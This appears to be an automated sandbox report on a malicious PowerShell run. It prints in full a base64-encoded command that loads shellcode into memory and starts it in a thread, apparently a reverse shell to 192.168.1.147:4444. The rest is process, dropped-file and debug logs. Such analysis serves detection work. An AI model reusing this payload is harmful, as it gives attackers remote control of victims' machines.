yACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAOwAkAFkAawA9ACQAWQBrAC4AcgBlAHAAbABhAGMAZQAoACIAeABPAHQAIgAsACAAIgBDAHIAIgArACIAZQAiACsAIgBhAHQAZQBUAGgAcgBlAGEAZAAiACkAOwAkAFkAawA9ACQAWQBrAC4AcgBlAHAAbABhAGMAZQAoACIAUgBvAFIAIgAsACAAIgBjAGEAbABsAG8AYwAiACkAOwAkAFkAawA9ACQAWQBrAC4AcgBlAHAAbABhAGMAZQAoACIAaQByAGYAIgAsACAAIgBEAGwAbABJAG0AcABvACIAKwAiAHIAIgArACIAdAAiACkAOwAkAG4ARgA9ACIAfQBmAGMALAB9AGUAOAAsAH0AOAAyACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGMAMAAsAH0ANgA0ACwAfQA4AGIALAB9ADUAMAAsAH0AMwAwACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQA4AGIALAB9ADcAMgAsAH0AMgA4ACwAfQAwAGYALAB9AGIANwAsAH0ANABhACwAfQAyADYALAB9ADMAMQAsAH0AZgBmACwAfQBhAGMALAB9ADMAYwAsAH0ANgAxACwAfQA3AGMALAB9ADAAMgAsAH0AMgBjACwAfQAyADAALAB9AGMAMQAsAH0AYwBmACwAfQAwAGQALAB9ADAAMQAsAH0AYwA3ACwAfQBlADIALAB9AGYAMgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANABhACwAfQAzAGMALAB9ADgAYgAsAH0ANABjACwAfQAxADEALAB9ADcAOAAsAH0AZQAzACwAfQA0ADgALAB9ADAAMQAsAH0AZAAxACwAfQA1ADEALAB9ADgAYgAsAH0ANQA5ACwAfQAyADAALAB9ADAAMQAsAH0AZAAzACwAfQA4AGIALAB9ADQAOQAsAH0AMQA4ACwAfQBlADMALAB9ADMAYQAsAH0ANAA5ACwAfQA4AGIALAB9ADMANAAsAH0AOABiACwAfQAwADEALAB9AGQANgAsAH0AMwAxACwAfQBmAGYALAB9AGEAYwAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9ADMAOAAsAH0AZQAwACwAfQA3ADUALAB9AGYANgAsAH0AMAAzACwAfQA3AGQALAB9AGYAOAAsAH0AMwBiACwAfQA3AGQALAB9ADIANAAsAH0ANwA1ACwAfQBlADQALAB9ADUAOAAsAH0AOABiACwAfQA1ADgALAB9ADIANAAsAH0AMAAxACwAfQBkADMALAB9ADYANgAsAH0AOABiACwAfQAwAGMALAB9ADQAYgAsAH0AOABiACwAfQA1ADgALAB9ADEAYwAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0AMAA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAAwACwAfQA4ADkALAB9ADQANAAsAH0AMgA0ACwAfQAyADQALAB9ADUAYgAsAH0ANQBiACwAfQA2ADEALAB9ADUAOQAsAH0ANQBhACwAfQA1ADEALAB9AGYAZgAsAH0AZQAwACwAfQA1AGYALAB9ADUAZgAsAH0ANQBhACwAfQA4AGIALAB9ADEAMgAsAH0AZQBiACwAfQA4AGQALAB9ADUAZAAsAH0ANgA4ACwAfQAzADMALAB9ADMAMgAsAH0AMAAwACwAfQAwADAALAB9ADYAOAAsAH0ANwA3ACwAfQA3ADMALAB9ADMAMgAsAH0ANQBmACwAfQA1ADQALAB9ADYAOAAsAH0ANABjACwAfQA3ADcALAB9ADIANgAsAH0AMAA3ACwAfQA4ADkALAB9AGUAOAAsAH0AZgBmACwAfQBkADAALAB9AGIAOAAsAH0AOQAwACwAfQAwADEALAB9ADAAMAAsAH0AMAAwACwAfQAyADkALAB9AGMANAAsAH0ANQA0ACwAfQA1ADAALAB9ADYAOAAsAH0AMgA5ACwAfQA4ADAALAB9ADYAYgAsAH0AMAAwACwAfQBmAGYALAB9AGQANQAsAH0ANgBhACwAfQAwAGEALAB9ADYAOAAsAH0AYwAwACwAfQBhADgALAB9ADAAMQAsAH0AOQAzACwAfQA2ADgALAB9ADAAMgAsAH0AMAAwACwAfQAxADEALAB9ADUAYwAsAH0AOAA5ACwAfQBlADYALAB9ADUAMAAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADQAMAAsAH0ANQAwACwAfQA2ADgALAB9AGUAYQAsAH0AMABmACwAfQBkAGYALAB9AGUAMAAsAH0AZgBmACwAfQBkADUALAB9ADkANwAsAH0ANgBhACwAfQAxADAALAB9ADUANgAsAH0ANQA3ACwAfQA2ADgALAB9ADkAOQAsAH0AYQA1ACwAfQA3ADQALAB9ADYAMQAsAH0AZgBmACwAfQBkADUALAB9ADgANQAsAH0AYwAwACwAfQA3ADQALAB9ADAAYwAsAH0AZgBmACwAfQA0AGUALAB9ADAAOAAsAH0ANwA1ACwAfQBlAGMALAB9ADYAOAAsAH0AZgAwACwAfQBiADUALAB9AGEAMgAsAH0ANQA2ACwAfQBmAGYALAB9AGQANQAsAH0ANgBhACwAfQAwADAALAB9ADYAYQAsAH0AMAA0ACwAfQA1ADYALAB9ADUANwAsAH0ANgA4ACwAfQAwADIALAB9AGQAOQAsAH0AYwA4ACwAfQA1AGYALAB9AGYAZgAsAH0AZAA1ACwAfQA4AGIALAB9ADMANgAsAH0ANgBhACwAfQA0ADAALAB9ADYAOAAsAH0AMAAwACwAfQAxADAALAB9ADAAMAAsAH0AMAAwACwAfQA1ADYALAB9ADYAYQAsAH0AMAAwACwAfQA2ADgALAB9ADUAOAAsAH0AYQA0ACwAfQA1ADMALAB9AGUANQAsAH0AZgBmACwAfQBkADUALAB9ADkAMwAsAH0ANQAzACwAfQA2AGEALAB9ADAAMAAsAH0ANQA2ACwAfQA1ADMALAB9ADUANwAsAH0ANgA4ACwAfQAwADIALAB9AGQAOQAsAH0AYwA4ACwAfQA1AGYALAB9AGYAZgAsAH0AZAA1ACwAfQAwADEALAB9AGMAMwAsAH0AMgA5ACwAfQBjADYALAB9ADcANQAsAH0AZQBlACwAfQBjADMAIgA7ACQAVQBTAD0AQQBkAGQALQBUAHkAcABlACAALQBwAGEAcwBzACAALQBtACAAJABZAGsAIAAtAE4AYQBtAGUAIAAiAFYAVQAiACAALQBuAGEAbQBlAHMAIABPAHEAUgA7ACQAVQBTAD0AJABVAFMALgByAGUAcABsAGEAYwBlACgAIgBPAHEAUgAiACwAIAAiAFcAaQAiACsAIgBuACIAKwAiADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAiACkAOwBbAGIAeQB0AGUAWwBdAF0AJABuAEYAIAA9ACAAJABuAEYALgByAGUAcABsAGEAYwBlACgAIgB9ACIALAAiAHMAbQBaAHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACIAcwBtAFoAIgAsACAAIgAwACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAEIASwA9ADAAeAAxADAAMAAzADsAaQBmACAAKAAkAG4ARgAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAAzACkAewAkAEIASwA9ACQAbgBGAC4ATAB9ADsAJABuAG8APQAkAFUAUwA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAAMwAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQAQgBXAHcAIAA9ACAAMAA7AGYAbwByACgAJABnAEwAPQAwADsAJABnAEwAIAAtAGwAZQAoACQAbgBGAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGcATAArACsAKQB7ACQAVQBTADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAbgBvAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGcATAApACwAIAAkAG4ARgBbACQAZwBMAF0ALAAgADEAKQB9ADsAJABVAFMAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAbgBvACwAIAAwAHgAMQAwADAAMwAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQAQgBXAHcAKQA7ACQAVQBTADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwAHgAMAAwACwAJABuAG8ALAAwACwAMAAsADAAKQA7AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 4076 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\f4oeamvm.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) | ||||
| 3480 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES74AC.tmp" "c:\Users\admin\AppData\Local\Temp\CSC74AB.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) | ||||
Total events
933
Read events
709
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
8
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 304 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4J5BD3XG4J3UM648ZMSZ.temp | — | |
MD5:— | SHA256:— | |||
| 3504 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6CVVJ9EGY7VMAFWOBDBA.temp | — | |
MD5:— | SHA256:— | |||
| 2360 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L7NA76WQC9K5QO945SAG.temp | — | |
MD5:— | SHA256:— | |||
| 1840 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HY5D2LPYW12JN7TOPT6M.temp | — | |
MD5:— | SHA256:— | |||
| 1840 | powershell.exe | C:\Users\admin\AppData\Local\Temp\f4oeamvm.0.cs | — | |
MD5:— | SHA256:— | |||
| 1840 | powershell.exe | C:\Users\admin\AppData\Local\Temp\f4oeamvm.cmdline | — | |
MD5:— | SHA256:— | |||
| 4076 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC74AB.tmp | — | |
MD5:— | SHA256:— | |||
| 4076 | csc.exe | C:\Users\admin\AppData\Local\Temp\f4oeamvm.pdb | — | |
MD5:— | SHA256:— | |||
| 3480 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES74AC.tmp | — | |
MD5:— | SHA256:— | |||
| 4076 | csc.exe | C:\Users\admin\AppData\Local\Temp\f4oeamvm.dll | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
DNS requests
Threats
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|